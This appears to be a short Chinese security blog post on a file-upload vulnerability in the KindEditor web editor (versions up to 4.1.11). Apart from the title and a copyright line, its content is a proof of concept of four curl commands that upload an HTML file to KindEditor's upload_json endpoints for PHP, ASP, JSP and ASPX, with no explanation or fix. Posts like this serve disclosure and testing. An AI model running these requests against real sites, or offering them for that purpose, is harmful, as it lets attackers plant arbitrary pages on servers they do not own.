Kindeditor_上傳漏洞

棉花糖

2021年7月15日发布

090

# Kindeditor 上傳漏洞
==漏洞影響==
kindeditor <= 4.1.11 ==POC==

curl -F”imgFile=@a.html” http://127.0.0.1/kindeditor/php/upload_json.php?dir=file
curl -F”imgFile=@a.html” http://127.0.0.1/kindeditor/asp/upload_json.asp?dir=file
curl -F”imgFile=@a.html” http://127.0.0.1/kindeditor/jsp/upload_json.jsp?dir=file
curl -F”imgFile=@a.html” http://127.0.0.1/kindeditor/aspx/upload_json.aspx?dir=file

文章版权归作者所有，未经允许请勿转载。

THE END